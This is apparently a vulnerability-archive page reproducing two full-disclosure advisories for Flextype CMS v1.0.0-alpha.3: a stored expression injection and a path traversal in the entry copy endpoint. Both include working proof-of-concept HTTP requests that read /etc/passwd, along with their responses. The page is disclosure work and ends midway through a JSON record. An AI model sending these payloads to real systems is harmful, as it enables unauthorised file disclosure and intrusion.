https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n return;\n }\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n return;\n }\n\n $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n return;\n }\n\n $vars = [];\n\n // Convert entry fields to vars.\n foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n $vars[$key] = $value;\n }\n\n if (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n }\n\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/20"
},
{
"url": "https://awilum.github.io"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
},
{
"url": "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/20"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0008",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
"automated": true,
"contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:09:12Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0008"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0010
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
Entries copy functionality. An authenticated remote attacker can supply
directory traversal sequences within both the source id and destination
new_id parameters submitted to /api/v1/entries/copy.
Flextype constructs entry directory paths by directly concatenating the
supplied entry identifier with the configured entries directory without
sufficiently canonicalizing the resulting path or verifying that it remains
within the intended project/entries directory.
As a result, an attacker can escape the configured entries directory for
both the source and destination of a copy operation. Testing confirmed that
a source identifier containing ../../../etc resolved to the system /etc
directory and that a destination identifier containing ../../etc-copy
caused the directory to be copied outside project/entries to /app/etc-copy.
The copied /etc/passwd file was subsequently accessible over HTTP from
/etc-copy/passwd, resulting in disclosure of operating-system files that
were not intended to be exposed by the web application.
Impact
Successful exploitation allows an authenticated remote attacker to escape
the Flextype entries directory and use filesystem directories outside the
intended content storage location as the source or destination of entry
copy operations.
Testing demonstrated that the vulnerability can copy operating-system files
from /etc into a web-accessible location under the application root. This
resulted in remote disclosure of /etc/passwd.
Depending on filesystem permissions, application deployment layout, and
web-server configuration, the vulnerability may allow disclosure of
sensitive application and operating-system files by copying otherwise
inaccessible directories into web-accessible locations.
The destination traversal also provides a filesystem write/copy primitive
outside the intended project/entries security boundary. This primitive may
increase the impact of other vulnerabilities when chained with
functionality capable of interpreting or executing attacker-controlled
files.
DetailsVulnerable Entry Copy Implementation
The Flextype copy() method receives the existing entry identifier and new
entry identifier and eventually passes both values to getDirectoryLocation()
:
public function copy(string $id, string $newID): bool
{
// Collections validation helper.
// Check if collections are identical.
$isValidCollections = function ($id, $newID) {
$collectionForCurrentEntry = $this->getCollectionOptions($id);
$collectionForNewEntry = $this->getCollectionOptions($newID);
$result = true;
if (! isset($collectionForCurrentEntry['filename']) ||
! isset($collectionForCurrentEntry['extension']) ||
! isset($collectionForCurrentEntry['serializer']) ||
! isset($collectionForNewEntry['filename']) ||
! isset($collectionForNewEntry['extension']) ||
! isset($collectionForNewEntry['serializer'])) {
$result = false;
}
if (($collectionForCurrentEntry['filename'] !=
$collectionForNewEntry['filename']) ||
($collectionForCurrentEntry['extension'] !=
$collectionForNewEntry['extension']) ||
($collectionForCurrentEntry['serializer'] !=
$collectionForNewEntry['serializer'])) {
$result = false;
}
return $result;
};
if (! $isValidCollections($id, $newID)) {
return false;
}
$this->registry()->set('methods.copy', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
'newID' => $newID,
],
'result' => null,
]);
emitter()->emit('onEntriesCopy');
if (! is_null($this->registry()->get('methods.copy.result')) &&
is_bool($this->registry()->get('methods.copy.result'))) {
return $this->registry()->get('methods.copy.result');
}
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
}
The getDirectoryLocation() method constructs the filesystem path using the
supplied identifier:
public function getDirectoryLocation(string $id): string
{
$this->registry()->set('methods.getDirectoryLocation', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
],
'result' => null,
]);
emitter()->emit('onEntriesGetDirectoryLocation');
if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
&&
is_string($this->registry()->get('methods.getDirectoryLocation.result')))
{
return $this->registry()->get('methods.getDirectoryLocation.result');
}
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
}
The supplied identifier is appended directly to:
FLEXTYPE_PATH_PROJECT/<entries-directory>/
without enforcing that the canonicalized resulting path remains beneath the
intended entries directory.
Consequently, traversal sequences within an entry identifier can escape the
expected directory.
Proof of Concept — Escape Source and Destination Directories
The following request supplies traversal sequences for both the source and
destination identifiers:
PUT /api/v1/entries/copy HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
Given an entries directory rooted at:
/app/project/entries
the source:
../../../etc
escapes the entries directory and resolves to:
/etc
The destination:
../../etc-copy
similarly escapes the entries directory and resolves to:
/app/etc-copy
The HTTP endpoint returned:
HTTP/1.1 404 Not Found
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
Despite the HTTP 404 response, filesystem inspection confirmed that the
copy operation occurred.
Proof of Concept — Filesystem Evidence
Following the request, /etc/passwd existed beneath the attacker-selected
escaped destination:
realpath: /app/etc-copy/passwd
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
The resulting path:
/app/etc-copy/passwd
is outside the intended:
/app/project/entries
directory.
This demonstrates that the traversal sequences affected the underlying
filesystem operation despite the API returning HTTP 404.
Proof of Concept — Remote File Disclosure
The copied file could subsequently be retrieved directly through the web
server:
GET /etc-copy/passwd HTTP/1.1
Host: 127.0.0.1:18080
The application returned the copied operating-system file:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
Content-Length: 839
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
Root Cause
The root cause is insufficient validation and canonicalization of entry
identifiers before they are incorporated into filesystem paths.
The vulnerable path construction is:
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
The resulting path is then used directly by the copy operation:
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
Neither the source nor destination is shown being canonicalized and checked
to ensure it remains beneath the configured entries directory before the
filesystem copy operation occurs.
This allows ../ path components supplied through the entry identifiers to
escape the intended filesystem boundary.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n // Collections validation helper.\n // Check if collections are identical.\n $isValidCollections = function ($id, $newID) {\n $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n $collectionForNewEntry = $this-\u003egetCollectionOptions($newID);\n\n $result = true;\n\n if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n return $result;\n };\n\n if (! $isValidCollections($id, $newID)) {\n return false;\n }\n\n $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n \u0027newID\u0027 =\u003e $newID,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n }\n\n return filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n }\n\n return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/22"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/22"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0010",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
"automated": true,
